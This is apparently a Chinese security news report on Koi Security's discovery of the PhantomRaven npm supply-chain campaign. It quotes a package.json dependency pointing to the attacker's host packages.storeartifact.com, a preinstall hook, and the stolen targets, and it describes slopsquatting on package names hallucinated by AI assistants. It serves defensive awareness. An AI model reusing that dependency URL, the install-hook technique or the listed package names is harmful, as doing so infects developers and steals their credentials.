Koi Security发现了一场名为PhantomRaven的大规模供应链攻击活动,该活动已通过126个恶意npm包静默感染npm生态系统,这些包的总下载量超过86,000次。自2025年8月以来持续活跃的该活动旨在窃取npm认证令牌、GitHub凭证和CI/CD密钥,同时将恶意代码隐藏在大多数安全扫描器无法检测的依赖项中。
Koi Security的Wings风险引擎于2025年10月首次检测到异常活动:多个npm包在安装期间发起外部网络请求,且均指向同一域名。
“我们的风险引擎Wings在2025年10月标记了异常。这些包在安装期间发起外部网络请求——均指向同一可疑域名。”该团队写道。
调查人员深入分析后发现,80个恶意包仍处于活跃状态,持续从全球开发者系统收集凭证。报告概述了清晰的时间线:
- 2025年8月:攻击活动开始;首批21个包被npm移除。
- 2025年9–10月:又上传80个包,成功规避检测。
- 2025年10月:Koi Security的行为分析引擎发现该活动。
尽管交付手段复杂,但攻击者的操作安全(OPSEC)却异常薄弱:使用jpdtester01@hotmail[.]com至jpdtester13@gmail[.]com等顺序邮箱账户,且均关联npmhell、npmpackagejpd等用户名。
核心技术:远程动态依赖(RDD)与隐形载荷
PhantomRaven的高隐蔽性源于其对远程动态依赖(RDD) 的利用——这是npm的一项极少使用的功能,允许直接从HTTP URL而非npm仓库拉取依赖。
表面上,这些恶意包看似无害,仅包含如下代码:
#!/usr/bin/env node  
console.log('Hello,  world!'); “在npm上打开这些恶意包之一,查看源代码。你会发现类似这样的内容……完全无害,一个简单的‘hello world’脚本。”报告解释道。
然而,真正的载荷在安装时从外部服务器拉取:
"dependencies": { 
  "ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"  
} 由于npm和大多数扫描器不跟踪基于HTTP的依赖链接,这些包看似“0依赖”,几乎绕过所有自动化安全检查。
“恶意代码?就坐在packages.storeartifact.com 上,等待安装时被拉取。”
开发者运行npm install的瞬间,恶意依赖即通过npm的preinstall生命周期脚本自动拉取并执行:
"scripts": { 
  "preinstall": "node index.js"  
} 这种设计确保载荷在无需用户同意的情况下执行,即使深埋在依赖链的多层嵌套中。
Koi Security指出:“安装一个依赖于某个包的包,而该包又依赖于带有恶意preinstall脚本的包?这段代码会自动在你的机器上运行。”
攻击流程:侦察与数据窃取
一旦执行,PhantomRaven立即启动激进的侦察与数据泄露流程。
1. 身份信息收集
恶意软件首先在开发者系统中搜索以下位置的电子邮件地址:
- 环境变量
- .gitconfig
- .npmrc
- package.json
2. CI/CD凭证窃取
随后扫描主流自动化工具的令牌和凭证,包括:
- GitHub Actions
- GitLab CI/CD
- Jenkins
- CircleCI
- npm认证令牌
报告强调:“他们想知道你的基础设施的一切——GitHub Actions令牌、GitLab CI凭证、Jenkins凭证、CircleCI令牌、npm认证令牌。”
3. 系统指纹识别
恶意软件编译完整系统配置文件,捕获受害者的公网IP、主机名、操作系统、用户名、目录和Node.js 版本——这些是针对企业和云环境的关键数据。
4. 冗余数据泄露渠道
泄露流程使用三个并行渠道确保数据成功传出:
- HTTP GET(数据编码在URL中)
- HTTP POST(JSON payload)
- WebSocket备用(针对受限网络)
“即使在防火墙严格的受限网络环境中,他们仍能将数据传出。”Koi Security警告。
新型感染向量:AI驱动的“幻觉 squatting”(slopsquatting)
最令人担忧的发现是PhantomRaven采用的新型感染向量——slopsquatting,即AI驱动的“幻觉 squatting”,是typosquatting(拼写 squatting)的进化形式。
与传统名称仿冒不同,PhantomRaven的作者创建了AI助手可能错误推荐的包名。
“当开发者向GitHub Copilot或ChatGPT等AI助手请求包推荐时,模型有时会建议听起来合理但实际不存在的包名。PhantomRaven就创建了这些不存在的包。”
例如:
- 
eslint-comments(真实包:eslint-plugin-eslint-comments)
- 
unused-imports(真实包:eslint-plugin-unused-imports)
- 
transform-react-remove-prop-types(真实包:babel-plugin-transform-react-remove-prop-types)
这些AI验证的伪造包名旨在欺骗开发者信任恶意包,将社会工程与人工智能错误巧妙结合。









发表评论
您还未登录,请先登录。
登录